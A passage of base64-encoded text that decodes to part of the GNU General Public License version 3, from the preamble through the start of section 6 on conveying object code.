c2UgcmlnaHRzIG9yIGFz\na2luZyB5b3UgdG8gc3VycmVuZGVyIHRoZSByaWdodHMuICBUaGVyZWZvcmUs\nIHlvdSBoYXZlCmNlcnRhaW4gcmVzcG9uc2liaWxpdGllcyBpZiB5b3UgZGlz\ndHJpYnV0ZSBjb3BpZXMgb2YgdGhlIHNvZnR3YXJlLCBvciBpZgp5b3UgbW9k\naWZ5IGl0OiByZXNwb25zaWJpbGl0aWVzIHRvIHJlc3BlY3QgdGhlIGZyZWVk\nb20gb2Ygb3RoZXJzLgoKICBGb3IgZXhhbXBsZSwgaWYgeW91IGRpc3RyaWJ1\ndGUgY29waWVzIG9mIHN1Y2ggYSBwcm9ncmFtLCB3aGV0aGVyCmdyYXRpcyBv\nciBmb3IgYSBmZWUsIHlvdSBtdXN0IHBhc3Mgb24gdG8gdGhlIHJlY2lwaWVu\ndHMgdGhlIHNhbWUKZnJlZWRvbXMgdGhhdCB5b3UgcmVjZWl2ZWQuICBZb3Ug\nbXVzdCBtYWtlIHN1cmUgdGhhdCB0aGV5LCB0b28sIHJlY2VpdmUKb3IgY2Fu\nIGdldCB0aGUgc291cmNlIGNvZGUuICBBbmQgeW91IG11c3Qgc2hvdyB0aGVt\nIHRoZXNlIHRlcm1zIHNvIHRoZXkKa25vdyB0aGVpciByaWdodHMuCgogIERl\ndmVsb3BlcnMgdGhhdCB1c2UgdGhlIEdOVSBHUEwgcHJvdGVjdCB5b3VyIHJp\nZ2h0cyB3aXRoIHR3byBzdGVwczoKKDEpIGFzc2VydCBjb3B5cmlnaHQgb24g\ndGhlIHNvZnR3YXJlLCBhbmQgKDIpIG9mZmVyIHlvdSB0aGlzIExpY2Vuc2UK\nZ2l2aW5nIHlvdSBsZWdhbCBwZXJtaXNzaW9uIHRvIGNvcHksIGRpc3RyaWJ1\ndGUgYW5kL29yIG1vZGlmeSBpdC4KCiAgRm9yIHRoZSBkZXZlbG9wZXJzJyBh\nbmQgYXV0aG9ycycgcHJvdGVjdGlvbiwgdGhlIEdQTCBjbGVhcmx5IGV4cGxh\naW5zCnRoYXQgdGhlcmUgaXMgbm8gd2FycmFudHkgZm9yIHRoaXMgZnJlZSBz\nb2Z0d2FyZS4gIEZvciBib3RoIHVzZXJzJyBhbmQKYXV0aG9ycycgc2FrZSwg\ndGhlIEdQTCByZXF1aXJlcyB0aGF0IG1vZGlmaWVkIHZlcnNpb25zIGJlIG1h\ncmtlZCBhcwpjaGFuZ2VkLCBzbyB0aGF0IHRoZWlyIHByb2JsZW1zIHdpbGwg\nbm90IGJlIGF0dHJpYnV0ZWQgZXJyb25lb3VzbHkgdG8KYXV0aG9ycyBvZiBw\ncmV2aW91cyB2ZXJzaW9ucy4KCiAgU29tZSBkZXZpY2VzIGFyZSBkZXNpZ25l\nZCB0byBkZW55IHVzZXJzIGFjY2VzcyB0byBpbnN0YWxsIG9yIHJ1bgptb2Rp\nZmllZCB2ZXJzaW9ucyBvZiB0aGUgc29mdHdhcmUgaW5zaWRlIHRoZW0sIGFs\ndGhvdWdoIHRoZSBtYW51ZmFjdHVyZXIKY2FuIGRvIHNvLiAgVGhpcyBpcyBm\ndW5kYW1lbnRhbGx5IGluY29tcGF0aWJsZSB3aXRoIHRoZSBhaW0gb2YKcHJv\ndGVjdGluZyB1c2VycycgZnJlZWRvbSB0byBjaGFuZ2UgdGhlIHNvZnR3YXJl\nLiAgVGhlIHN5c3RlbWF0aWMKcGF0dGVybiBvZiBzdWNoIGFidXNlIG9jY3Vy\ncyBpbiB0aGUgYXJlYSBvZiBwcm9kdWN0cyBmb3IgaW5kaXZpZHVhbHMgdG8K\ndXNlLCB3aGljaCBpcyBwcmVjaXNlbHkgd2hlcmUgaXQgaXMgbW9zdCB1bmFj\nY2VwdGFibGUuICBUaGVyZWZvcmUsIHdlCmhhdmUgZGVzaWduZWQgdGhpcyB2\nZXJzaW9uIG9mIHRoZSBHUEwgdG8gcHJvaGliaXQgdGhlIHByYWN0aWNlIGZv\nciB0aG9zZQpwcm9kdWN0cy4gIElmIHN1Y2ggcHJvYmxlbXMgYXJpc2Ugc3Vi\nc3RhbnRpYWxseSBpbiBvdGhlciBkb21haW5zLCB3ZQpzdGFuZCByZWFkeSB0\nbyBleHRlbmQgdGhpcyBwcm92aXNpb24gdG8gdGhvc2UgZG9tYWlucyBpbiBm\ndXR1cmUgdmVyc2lvbnMKb2YgdGhlIEdQTCwgYXMgbmVlZGVkIHRvIHByb3Rl\nY3QgdGhlIGZyZWVkb20gb2YgdXNlcnMuCgogIEZpbmFsbHksIGV2ZXJ5IHBy\nb2dyYW0gaXMgdGhyZWF0ZW5lZCBjb25zdGFudGx5IGJ5IHNvZnR3YXJlIHBh\ndGVudHMuClN0YXRlcyBzaG91bGQgbm90IGFsbG93IHBhdGVudHMgdG8gcmVz\ndHJpY3QgZGV2ZWxvcG1lbnQgYW5kIHVzZSBvZgpzb2Z0d2FyZSBvbiBnZW5l\ncmFsLXB1cnBvc2UgY29tcHV0ZXJzLCBidXQgaW4gdGhvc2UgdGhhdCBkbywg\nd2Ugd2lzaCB0bwphdm9pZCB0aGUgc3BlY2lhbCBkYW5nZXIgdGhhdCBwYXRl\nbnRzIGFwcGxpZWQgdG8gYSBmcmVlIHByb2dyYW0gY291bGQKbWFrZSBpdCBl\nZmZlY3RpdmVseSBwcm9wcmlldGFyeS4gIFRvIHByZXZlbnQgdGhpcywgdGhl\nIEdQTCBhc3N1cmVzIHRoYXQKcGF0ZW50cyBjYW5ub3QgYmUgdXNlZCB0byBy\nZW5kZXIgdGhlIHByb2dyYW0gbm9uLWZyZWUuCgogIFRoZSBwcmVjaXNlIHRl\ncm1zIGFuZCBjb25kaXRpb25zIGZvciBjb3B5aW5nLCBkaXN0cmlidXRpb24g\nYW5kCm1vZGlmaWNhdGlvbiBmb2xsb3cuCgogICAgICAgICAgICAgICAgICAg\nICAgIFRFUk1TIEFORCBDT05ESVRJT05TCgogIDAuIERlZmluaXRpb25zLgoK\nICAiVGhpcyBMaWNlbnNlIiByZWZlcnMgdG8gdmVyc2lvbiAzIG9mIHRoZSBH\nTlUgR2VuZXJhbCBQdWJsaWMgTGljZW5zZS4KCiAgIkNvcHlyaWdodCIgYWxz\nbyBtZWFucyBjb3B5cmlnaHQtbGlrZSBsYXdzIHRoYXQgYXBwbHkgdG8gb3Ro\nZXIga2luZHMgb2YKd29ya3MsIHN1Y2ggYXMgc2VtaWNvbmR1Y3RvciBtYXNr\ncy4KCiAgIlRoZSBQcm9ncmFtIiByZWZlcnMgdG8gYW55IGNvcHlyaWdodGFi\nbGUgd29yayBsaWNlbnNlZCB1bmRlciB0aGlzCkxpY2Vuc2UuICBFYWNoIGxp\nY2Vuc2VlIGlzIGFkZHJlc3NlZCBhcyAieW91Ii4gICJMaWNlbnNlZXMiIGFu\nZAoicmVjaXBpZW50cyIgbWF5IGJlIGluZGl2aWR1YWxzIG9yIG9yZ2FuaXph\ndGlvbnMuCgogIFRvICJtb2RpZnkiIGEgd29yayBtZWFucyB0byBjb3B5IGZy\nb20gb3IgYWRhcHQgYWxsIG9yIHBhcnQgb2YgdGhlIHdvcmsKaW4gYSBmYXNo\naW9uIHJlcXVpcmluZyBjb3B5cmlnaHQgcGVybWlzc2lvbiwgb3RoZXIgdGhh\nbiB0aGUgbWFraW5nIG9mIGFuCmV4YWN0IGNvcHkuICBUaGUgcmVzdWx0aW5n\nIHdvcmsgaXMgY2FsbGVkIGEgIm1vZGlmaWVkIHZlcnNpb24iIG9mIHRoZQpl\nYXJsaWVyIHdvcmsgb3IgYSB3b3JrICJiYXNlZCBvbiIgdGhlIGVhcmxpZXIg\nd29yay4KCiAgQSAiY292ZXJlZCB3b3JrIiBtZWFucyBlaXRoZXIgdGhlIHVu\nbW9kaWZpZWQgUHJvZ3JhbSBvciBhIHdvcmsgYmFzZWQKb24gdGhlIFByb2dy\nYW0uCgogIFRvICJwcm9wYWdhdGUiIGEgd29yayBtZWFucyB0byBkbyBhbnl0\naGluZyB3aXRoIGl0IHRoYXQsIHdpdGhvdXQKcGVybWlzc2lvbiwgd291bGQg\nbWFrZSB5b3UgZGlyZWN0bHkgb3Igc2Vjb25kYXJpbHkgbGlhYmxlIGZvcgpp\nbmZyaW5nZW1lbnQgdW5kZXIgYXBwbGljYWJsZSBjb3B5cmlnaHQgbGF3LCBl\neGNlcHQgZXhlY3V0aW5nIGl0IG9uIGEKY29tcHV0ZXIgb3IgbW9kaWZ5aW5n\nIGEgcHJpdmF0ZSBjb3B5LiAgUHJvcGFnYXRpb24gaW5jbHVkZXMgY29weWlu\nZywKZGlzdHJpYnV0aW9uICh3aXRoIG9yIHdpdGhvdXQgbW9kaWZpY2F0aW9u\nKSwgbWFraW5nIGF2YWlsYWJsZSB0byB0aGUKcHVibGljLCBhbmQgaW4gc29t\nZSBjb3VudHJpZXMgb3RoZXIgYWN0aXZpdGllcyBhcyB3ZWxsLgoKICBUbyAi\nY29udmV5IiBhIHdvcmsgbWVhbnMgYW55IGtpbmQgb2YgcHJvcGFnYXRpb24g\ndGhhdCBlbmFibGVzIG90aGVyCnBhcnRpZXMgdG8gbWFrZSBvciByZWNlaXZl\nIGNvcGllcy4gIE1lcmUgaW50ZXJhY3Rpb24gd2l0aCBhIHVzZXIgdGhyb3Vn\naAphIGNvbXB1dGVyIG5ldHdvcmssIHdpdGggbm8gdHJhbnNmZXIgb2YgYSBj\nb3B5LCBpcyBub3QgY29udmV5aW5nLgoKICBBbiBpbnRlcmFjdGl2ZSB1c2Vy\nIGludGVyZmFjZSBkaXNwbGF5cyAiQXBwcm9wcmlhdGUgTGVnYWwgTm90aWNl\ncyIKdG8gdGhlIGV4dGVudCB0aGF0IGl0IGluY2x1ZGVzIGEgY29udmVuaWVu\ndCBhbmQgcHJvbWluZW50bHkgdmlzaWJsZQpmZWF0dXJlIHRoYXQgKDEpIGRp\nc3BsYXlzIGFuIGFwcHJvcHJpYXRlIGNvcHlyaWdodCBub3RpY2UsIGFuZCAo\nMikKdGVsbHMgdGhlIHVzZXIgdGhhdCB0aGVyZSBpcyBubyB3YXJyYW50eSBm\nb3IgdGhlIHdvcmsgKGV4Y2VwdCB0byB0aGUKZXh0ZW50IHRoYXQgd2FycmFu\ndGllcyBhcmUgcHJvdmlkZWQpLCB0aGF0IGxpY2Vuc2VlcyBtYXkgY29udmV5\nIHRoZQp3b3JrIHVuZGVyIHRoaXMgTGljZW5zZSwgYW5kIGhvdyB0byB2aWV3\nIGEgY29weSBvZiB0aGlzIExpY2Vuc2UuICBJZgp0aGUgaW50ZXJmYWNlIHBy\nZXNlbnRzIGEgbGlzdCBvZiB1c2VyIGNvbW1hbmRzIG9yIG9wdGlvbnMsIHN1\nY2ggYXMgYQptZW51LCBhIHByb21pbmVudCBpdGVtIGluIHRoZSBsaXN0IG1l\nZXRzIHRoaXMgY3JpdGVyaW9uLgoKICAxLiBTb3VyY2UgQ29kZS4KCiAgVGhl\nICJzb3VyY2UgY29kZSIgZm9yIGEgd29yayBtZWFucyB0aGUgcHJlZmVycmVk\nIGZvcm0gb2YgdGhlIHdvcmsKZm9yIG1ha2luZyBtb2RpZmljYXRpb25zIHRv\nIGl0LiAgIk9iamVjdCBjb2RlIiBtZWFucyBhbnkgbm9uLXNvdXJjZQpmb3Jt\nIG9mIGEgd29yay4KCiAgQSAiU3RhbmRhcmQgSW50ZXJmYWNlIiBtZWFucyBh\nbiBpbnRlcmZhY2UgdGhhdCBlaXRoZXIgaXMgYW4gb2ZmaWNpYWwKc3RhbmRh\ncmQgZGVmaW5lZCBieSBhIHJlY29nbml6ZWQgc3RhbmRhcmRzIGJvZHksIG9y\nLCBpbiB0aGUgY2FzZSBvZgppbnRlcmZhY2VzIHNwZWNpZmllZCBmb3IgYSBw\nYXJ0aWN1bGFyIHByb2dyYW1taW5nIGxhbmd1YWdlLCBvbmUgdGhhdAppcyB3\naWRlbHkgdXNlZCBhbW9uZyBkZXZlbG9wZXJzIHdvcmtpbmcgaW4gdGhhdCBs\nYW5ndWFnZS4KCiAgVGhlICJTeXN0ZW0gTGlicmFyaWVzIiBvZiBhbiBleGVj\ndXRhYmxlIHdvcmsgaW5jbHVkZSBhbnl0aGluZywgb3RoZXIKdGhhbiB0aGUg\nd29yayBhcyBhIHdob2xlLCB0aGF0IChhKSBpcyBpbmNsdWRlZCBpbiB0aGUg\nbm9ybWFsIGZvcm0gb2YKcGFja2FnaW5nIGEgTWFqb3IgQ29tcG9uZW50LCBi\ndXQgd2hpY2ggaXMgbm90IHBhcnQgb2YgdGhhdCBNYWpvcgpDb21wb25lbnQs\nIGFuZCAoYikgc2VydmVzIG9ubHkgdG8gZW5hYmxlIHVzZSBvZiB0aGUgd29y\nayB3aXRoIHRoYXQKTWFqb3IgQ29tcG9uZW50LCBvciB0byBpbXBsZW1lbnQg\nYSBTdGFuZGFyZCBJbnRlcmZhY2UgZm9yIHdoaWNoIGFuCmltcGxlbWVudGF0\naW9uIGlzIGF2YWlsYWJsZSB0byB0aGUgcHVibGljIGluIHNvdXJjZSBjb2Rl\nIGZvcm0uICBBCiJNYWpvciBDb21wb25lbnQiLCBpbiB0aGlzIGNvbnRleHQs\nIG1lYW5zIGEgbWFqb3IgZXNzZW50aWFsIGNvbXBvbmVudAooa2VybmVsLCB3\naW5kb3cgc3lzdGVtLCBhbmQgc28gb24pIG9mIHRoZSBzcGVjaWZpYyBvcGVy\nYXRpbmcgc3lzdGVtCihpZiBhbnkpIG9uIHdoaWNoIHRoZSBleGVjdXRhYmxl\nIHdvcmsgcnVucywgb3IgYSBjb21waWxlciB1c2VkIHRvCnByb2R1Y2UgdGhl\nIHdvcmssIG9yIGFuIG9iamVjdCBjb2RlIGludGVycHJldGVyIHVzZWQgdG8g\ncnVuIGl0LgoKICBUaGUgIkNvcnJlc3BvbmRpbmcgU291cmNlIiBmb3IgYSB3\nb3JrIGluIG9iamVjdCBjb2RlIGZvcm0gbWVhbnMgYWxsCnRoZSBzb3VyY2Ug\nY29kZSBuZWVkZWQgdG8gZ2VuZXJhdGUsIGluc3RhbGwsIGFuZCAoZm9yIGFu\nIGV4ZWN1dGFibGUKd29yaykgcnVuIHRoZSBvYmplY3QgY29kZSBhbmQgdG8g\nbW9kaWZ5IHRoZSB3b3JrLCBpbmNsdWRpbmcgc2NyaXB0cyB0bwpjb250cm9s\nIHRob3NlIGFjdGl2aXRpZXMuICBIb3dldmVyLCBpdCBkb2VzIG5vdCBpbmNs\ndWRlIHRoZSB3b3JrJ3MKU3lzdGVtIExpYnJhcmllcywgb3IgZ2VuZXJhbC1w\ndXJwb3NlIHRvb2xzIG9yIGdlbmVyYWxseSBhdmFpbGFibGUgZnJlZQpwcm9n\ncmFtcyB3aGljaCBhcmUgdXNlZCB1bm1vZGlmaWVkIGluIHBlcmZvcm1pbmcg\ndGhvc2UgYWN0aXZpdGllcyBidXQKd2hpY2ggYXJlIG5vdCBwYXJ0IG9mIHRo\nZSB3b3JrLiAgRm9yIGV4YW1wbGUsIENvcnJlc3BvbmRpbmcgU291cmNlCmlu\nY2x1ZGVzIGludGVyZmFjZSBkZWZpbml0aW9uIGZpbGVzIGFzc29jaWF0ZWQg\nd2l0aCBzb3VyY2UgZmlsZXMgZm9yCnRoZSB3b3JrLCBhbmQgdGhlIHNvdXJj\nZSBjb2RlIGZvciBzaGFyZWQgbGlicmFyaWVzIGFuZCBkeW5hbWljYWxseQps\naW5rZWQgc3VicHJvZ3JhbXMgdGhhdCB0aGUgd29yayBpcyBzcGVjaWZpY2Fs\nbHkgZGVzaWduZWQgdG8gcmVxdWlyZSwKc3VjaCBhcyBieSBpbnRpbWF0ZSBk\nYXRhIGNvbW11bmljYXRpb24gb3IgY29udHJvbCBmbG93IGJldHdlZW4gdGhv\nc2UKc3VicHJvZ3JhbXMgYW5kIG90aGVyIHBhcnRzIG9mIHRoZSB3b3JrLgoK\nICBUaGUgQ29ycmVzcG9uZGluZyBTb3VyY2UgbmVlZCBub3QgaW5jbHVkZSBh\nbnl0aGluZyB0aGF0IHVzZXJzCmNhbiByZWdlbmVyYXRlIGF1dG9tYXRpY2Fs\nbHkgZnJvbSBvdGhlciBwYXJ0cyBvZiB0aGUgQ29ycmVzcG9uZGluZwpTb3Vy\nY2UuCgogIFRoZSBDb3JyZXNwb25kaW5nIFNvdXJjZSBmb3IgYSB3b3JrIGlu\nIHNvdXJjZSBjb2RlIGZvcm0gaXMgdGhhdApzYW1lIHdvcmsuCgogIDIuIEJh\nc2ljIFBlcm1pc3Npb25zLgoKICBBbGwgcmlnaHRzIGdyYW50ZWQgdW5kZXIg\ndGhpcyBMaWNlbnNlIGFyZSBncmFudGVkIGZvciB0aGUgdGVybSBvZgpjb3B5\ncmlnaHQgb24gdGhlIFByb2dyYW0sIGFuZCBhcmUgaXJyZXZvY2FibGUgcHJv\ndmlkZWQgdGhlIHN0YXRlZApjb25kaXRpb25zIGFyZSBtZXQuICBUaGlzIExp\nY2Vuc2UgZXhwbGljaXRseSBhZmZpcm1zIHlvdXIgdW5saW1pdGVkCnBlcm1p\nc3Npb24gdG8gcnVuIHRoZSB1bm1vZGlmaWVkIFByb2dyYW0uICBUaGUgb3V0\ncHV0IGZyb20gcnVubmluZyBhCmNvdmVyZWQgd29yayBpcyBjb3ZlcmVkIGJ5\nIHRoaXMgTGljZW5zZSBvbmx5IGlmIHRoZSBvdXRwdXQsIGdpdmVuIGl0cwpj\nb250ZW50LCBjb25zdGl0dXRlcyBhIGNvdmVyZWQgd29yay4gIFRoaXMgTGlj\nZW5zZSBhY2tub3dsZWRnZXMgeW91cgpyaWdodHMgb2YgZmFpciB1c2Ugb3Ig\nb3RoZXIgZXF1aXZhbGVudCwgYXMgcHJvdmlkZWQgYnkgY29weXJpZ2h0IGxh\ndy4KCiAgWW91IG1heSBtYWtlLCBydW4gYW5kIHByb3BhZ2F0ZSBjb3ZlcmVk\nIHdvcmtzIHRoYXQgeW91IGRvIG5vdApjb252ZXksIHdpdGhvdXQgY29uZGl0\naW9ucyBzbyBsb25nIGFzIHlvdXIgbGljZW5zZSBvdGhlcndpc2UgcmVtYWlu\ncwppbiBmb3JjZS4gIFlvdSBtYXkgY29udmV5IGNvdmVyZWQgd29ya3MgdG8g\nb3RoZXJzIGZvciB0aGUgc29sZSBwdXJwb3NlCm9mIGhhdmluZyB0aGVtIG1h\na2UgbW9kaWZpY2F0aW9ucyBleGNsdXNpdmVseSBmb3IgeW91LCBvciBwcm92\naWRlIHlvdQp3aXRoIGZhY2lsaXRpZXMgZm9yIHJ1bm5pbmcgdGhvc2Ugd29y\na3MsIHByb3ZpZGVkIHRoYXQgeW91IGNvbXBseSB3aXRoCnRoZSB0ZXJtcyBv\nZiB0aGlzIExpY2Vuc2UgaW4gY29udmV5aW5nIGFsbCBtYXRlcmlhbCBmb3Ig\nd2hpY2ggeW91IGRvCm5vdCBjb250cm9sIGNvcHlyaWdodC4gIFRob3NlIHRo\ndXMgbWFraW5nIG9yIHJ1bm5pbmcgdGhlIGNvdmVyZWQgd29ya3MKZm9yIHlv\ndSBtdXN0IGRvIHNvIGV4Y2x1c2l2ZWx5IG9uIHlvdXIgYmVoYWxmLCB1bmRl\nciB5b3VyIGRpcmVjdGlvbgphbmQgY29udHJvbCwgb24gdGVybXMgdGhhdCBw\ncm9oaWJpdCB0aGVtIGZyb20gbWFraW5nIGFueSBjb3BpZXMgb2YKeW91ciBj\nb3B5cmlnaHRlZCBtYXRlcmlhbCBvdXRzaWRlIHRoZWlyIHJlbGF0aW9uc2hp\ncCB3aXRoIHlvdS4KCiAgQ29udmV5aW5nIHVuZGVyIGFueSBvdGhlciBjaXJj\ndW1zdGFuY2VzIGlzIHBlcm1pdHRlZCBzb2xlbHkgdW5kZXIKdGhlIGNvbmRp\ndGlvbnMgc3RhdGVkIGJlbG93LiAgU3VibGljZW5zaW5nIGlzIG5vdCBhbGxv\nd2VkOyBzZWN0aW9uIDEwCm1ha2VzIGl0IHVubmVjZXNzYXJ5LgoKICAzLiBQ\ncm90ZWN0aW5nIFVzZXJzJyBMZWdhbCBSaWdodHMgRnJvbSBBbnRpLUNpcmN1\nbXZlbnRpb24gTGF3LgoKICBObyBjb3ZlcmVkIHdvcmsgc2hhbGwgYmUgZGVl\nbWVkIHBhcnQgb2YgYW4gZWZmZWN0aXZlIHRlY2hub2xvZ2ljYWwKbWVhc3Vy\nZSB1bmRlciBhbnkgYXBwbGljYWJsZSBsYXcgZnVsZmlsbGluZyBvYmxpZ2F0\naW9ucyB1bmRlciBhcnRpY2xlCjExIG9mIHRoZSBXSVBPIGNvcHlyaWdodCB0\ncmVhdHkgYWRvcHRlZCBvbiAyMCBEZWNlbWJlciAxOTk2LCBvcgpzaW1pbGFy\nIGxhd3MgcHJvaGliaXRpbmcgb3IgcmVzdHJpY3RpbmcgY2lyY3VtdmVudGlv\nbiBvZiBzdWNoCm1lYXN1cmVzLgoKICBXaGVuIHlvdSBjb252ZXkgYSBjb3Zl\ncmVkIHdvcmssIHlvdSB3YWl2ZSBhbnkgbGVnYWwgcG93ZXIgdG8gZm9yYmlk\nCmNpcmN1bXZlbnRpb24gb2YgdGVjaG5vbG9naWNhbCBtZWFzdXJlcyB0byB0\naGUgZXh0ZW50IHN1Y2ggY2lyY3VtdmVudGlvbgppcyBlZmZlY3RlZCBieSBl\neGVyY2lzaW5nIHJpZ2h0cyB1bmRlciB0aGlzIExpY2Vuc2Ugd2l0aCByZXNw\nZWN0IHRvCnRoZSBjb3ZlcmVkIHdvcmssIGFuZCB5b3UgZGlzY2xhaW0gYW55\nIGludGVudGlvbiB0byBsaW1pdCBvcGVyYXRpb24gb3IKbW9kaWZpY2F0aW9u\nIG9mIHRoZSB3b3JrIGFzIGEgbWVhbnMgb2YgZW5mb3JjaW5nLCBhZ2FpbnN0\nIHRoZSB3b3JrJ3MKdXNlcnMsIHlvdXIgb3IgdGhpcmQgcGFydGllcycgbGVn\nYWwgcmlnaHRzIHRvIGZvcmJpZCBjaXJjdW12ZW50aW9uIG9mCnRlY2hub2xv\nZ2ljYWwgbWVhc3VyZXMuCgogIDQuIENvbnZleWluZyBWZXJiYXRpbSBDb3Bp\nZXMuCgogIFlvdSBtYXkgY29udmV5IHZlcmJhdGltIGNvcGllcyBvZiB0aGUg\nUHJvZ3JhbSdzIHNvdXJjZSBjb2RlIGFzIHlvdQpyZWNlaXZlIGl0LCBpbiBh\nbnkgbWVkaXVtLCBwcm92aWRlZCB0aGF0IHlvdSBjb25zcGljdW91c2x5IGFu\nZAphcHByb3ByaWF0ZWx5IHB1Ymxpc2ggb24gZWFjaCBjb3B5IGFuIGFwcHJv\ncHJpYXRlIGNvcHlyaWdodCBub3RpY2U7CmtlZXAgaW50YWN0IGFsbCBub3Rp\nY2VzIHN0YXRpbmcgdGhhdCB0aGlzIExpY2Vuc2UgYW5kIGFueQpub24tcGVy\nbWlzc2l2ZSB0ZXJtcyBhZGRlZCBpbiBhY2NvcmQgd2l0aCBzZWN0aW9uIDcg\nYXBwbHkgdG8gdGhlIGNvZGU7CmtlZXAgaW50YWN0IGFsbCBub3RpY2VzIG9m\nIHRoZSBhYnNlbmNlIG9mIGFueSB3YXJyYW50eTsgYW5kIGdpdmUgYWxsCnJl\nY2lwaWVudHMgYSBjb3B5IG9mIHRoaXMgTGljZW5zZSBhbG9uZyB3aXRoIHRo\nZSBQcm9ncmFtLgoKICBZb3UgbWF5IGNoYXJnZSBhbnkgcHJpY2Ugb3Igbm8g\ncHJpY2UgZm9yIGVhY2ggY29weSB0aGF0IHlvdSBjb252ZXksCmFuZCB5b3Ug\nbWF5IG9mZmVyIHN1cHBvcnQgb3Igd2FycmFudHkgcHJvdGVjdGlvbiBmb3Ig\nYSBmZWUuCgogIDUuIENvbnZleWluZyBNb2RpZmllZCBTb3VyY2UgVmVyc2lv\nbnMuCgogIFlvdSBtYXkgY29udmV5IGEgd29yayBiYXNlZCBvbiB0aGUgUHJv\nZ3JhbSwgb3IgdGhlIG1vZGlmaWNhdGlvbnMgdG8KcHJvZHVjZSBpdCBmcm9t\nIHRoZSBQcm9ncmFtLCBpbiB0aGUgZm9ybSBvZiBzb3VyY2UgY29kZSB1bmRl\nciB0aGUKdGVybXMgb2Ygc2VjdGlvbiA0LCBwcm92aWRlZCB0aGF0IHlvdSBh\nbHNvIG1lZXQgYWxsIG9mIHRoZXNlIGNvbmRpdGlvbnM6CgogICAgYSkgVGhl\nIHdvcmsgbXVzdCBjYXJyeSBwcm9taW5lbnQgbm90aWNlcyBzdGF0aW5nIHRo\nYXQgeW91IG1vZGlmaWVkCiAgICBpdCwgYW5kIGdpdmluZyBhIHJlbGV2YW50\nIGRhdGUuCgogICAgYikgVGhlIHdvcmsgbXVzdCBjYXJyeSBwcm9taW5lbnQg\nbm90aWNlcyBzdGF0aW5nIHRoYXQgaXQgaXMKICAgIHJlbGVhc2VkIHVuZGVy\nIHRoaXMgTGljZW5zZSBhbmQgYW55IGNvbmRpdGlvbnMgYWRkZWQgdW5kZXIg\nc2VjdGlvbgogICAgNy4gIFRoaXMgcmVxdWlyZW1lbnQgbW9kaWZpZXMgdGhl\nIHJlcXVpcmVtZW50IGluIHNlY3Rpb24gNCB0bwogICAgImtlZXAgaW50YWN0\nIGFsbCBub3RpY2VzIi4KCiAgICBjKSBZb3UgbXVzdCBsaWNlbnNlIHRoZSBl\nbnRpcmUgd29yaywgYXMgYSB3aG9sZSwgdW5kZXIgdGhpcwogICAgTGljZW5z\nZSB0byBhbnlvbmUgd2hvIGNvbWVzIGludG8gcG9zc2Vzc2lvbiBvZiBhIGNv\ncHkuICBUaGlzCiAgICBMaWNlbnNlIHdpbGwgdGhlcmVmb3JlIGFwcGx5LCBh\nbG9uZyB3aXRoIGFueSBhcHBsaWNhYmxlIHNlY3Rpb24gNwogICAgYWRkaXRp\nb25hbCB0ZXJtcywgdG8gdGhlIHdob2xlIG9mIHRoZSB3b3JrLCBhbmQgYWxs\nIGl0cyBwYXJ0cywKICAgIHJlZ2FyZGxlc3Mgb2YgaG93IHRoZXkgYXJlIHBh\nY2thZ2VkLiAgVGhpcyBMaWNlbnNlIGdpdmVzIG5vCiAgICBwZXJtaXNzaW9u\nIHRvIGxpY2Vuc2UgdGhlIHdvcmsgaW4gYW55IG90aGVyIHdheSwgYnV0IGl0\nIGRvZXMgbm90CiAgICBpbnZhbGlkYXRlIHN1Y2ggcGVybWlzc2lvbiBpZiB5\nb3UgaGF2ZSBzZXBhcmF0ZWx5IHJlY2VpdmVkIGl0LgoKICAgIGQpIElmIHRo\nZSB3b3JrIGhhcyBpbnRlcmFjdGl2ZSB1c2VyIGludGVyZmFjZXMsIGVhY2gg\nbXVzdCBkaXNwbGF5CiAgICBBcHByb3ByaWF0ZSBMZWdhbCBOb3RpY2VzOyBo\nb3dldmVyLCBpZiB0aGUgUHJvZ3JhbSBoYXMgaW50ZXJhY3RpdmUKICAgIGlu\ndGVyZmFjZXMgdGhhdCBkbyBub3QgZGlzcGxheSBBcHByb3ByaWF0ZSBMZWdh\nbCBOb3RpY2VzLCB5b3VyCiAgICB3b3JrIG5lZWQgbm90IG1ha2UgdGhlbSBk\nbyBzby4KCiAgQSBjb21waWxhdGlvbiBvZiBhIGNvdmVyZWQgd29yayB3aXRo\nIG90aGVyIHNlcGFyYXRlIGFuZCBpbmRlcGVuZGVudAp3b3Jrcywgd2hpY2gg\nYXJlIG5vdCBieSB0aGVpciBuYXR1cmUgZXh0ZW5zaW9ucyBvZiB0aGUgY292\nZXJlZCB3b3JrLAphbmQgd2hpY2ggYXJlIG5vdCBjb21iaW5lZCB3aXRoIGl0\nIHN1Y2ggYXMgdG8gZm9ybSBhIGxhcmdlciBwcm9ncmFtLAppbiBvciBvbiBh\nIHZvbHVtZSBvZiBhIHN0b3JhZ2Ugb3IgZGlzdHJpYnV0aW9uIG1lZGl1bSwg\naXMgY2FsbGVkIGFuCiJhZ2dyZWdhdGUiIGlmIHRoZSBjb21waWxhdGlvbiBh\nbmQgaXRzIHJlc3VsdGluZyBjb3B5cmlnaHQgYXJlIG5vdAp1c2VkIHRvIGxp\nbWl0IHRoZSBhY2Nlc3Mgb3IgbGVnYWwgcmlnaHRzIG9mIHRoZSBjb21waWxh\ndGlvbidzIHVzZXJzCmJleW9uZCB3aGF0IHRoZSBpbmRpdmlkdWFsIHdvcmtz\nIHBlcm1pdC4gIEluY2x1c2lvbiBvZiBhIGNvdmVyZWQgd29yawppbiBhbiBh\nZ2dyZWdhdGUgZG9lcyBub3QgY2F1c2UgdGhpcyBMaWNlbnNlIHRvIGFwcGx5\nIHRvIHRoZSBvdGhlcgpwYXJ0cyBvZiB0aGUgYWdncmVnYXRlLgoKICA2LiBD\nb252ZXlpbmcgTm9uLVNvdXJjZSBGb3Jtcy4KCiAgWW91IG1heSBjb252ZXkg\nYSBjb3ZlcmVkIHdvcmsgaW4gb2JqZWN0IGNvZGUgZm9ybSB1bmRlciB0aGUg\ndGVybXMKb2Ygc2VjdGlvbnMgNCBhbmQgNSwgcHJvdmlkZWQgdGhhdCB5b3Ug\nYWxzbyBjb252ZXkgdGhlCm1hY2hpbmUtcmVhZGFibGUgQ29ycmVzcG9uZGlu\nZyBTb3VyY2UgdW5kZXIgdGhlIHRlcm1zIG9mIHRoaXMgTGljZW5zZSwKaW4g\nb25lIG9mIHRoZXNlIHdheXM6CgogICAgYSkgQ29udmV5IHRoZSBvYmplY3Qg\nY29kZSBpbiwgb3IgZW1ib2RpZWQgaW4sIGEgcGh5c2ljYWwgcHJvZHVjdAog\nICAgKGluY2x1ZGluZyBhIHBoeXNpY2FsIGRpc3RyaWJ1dGlvbiBtZWRpdW0p\nLCBhY2NvbXBhbmllZCBieSB0a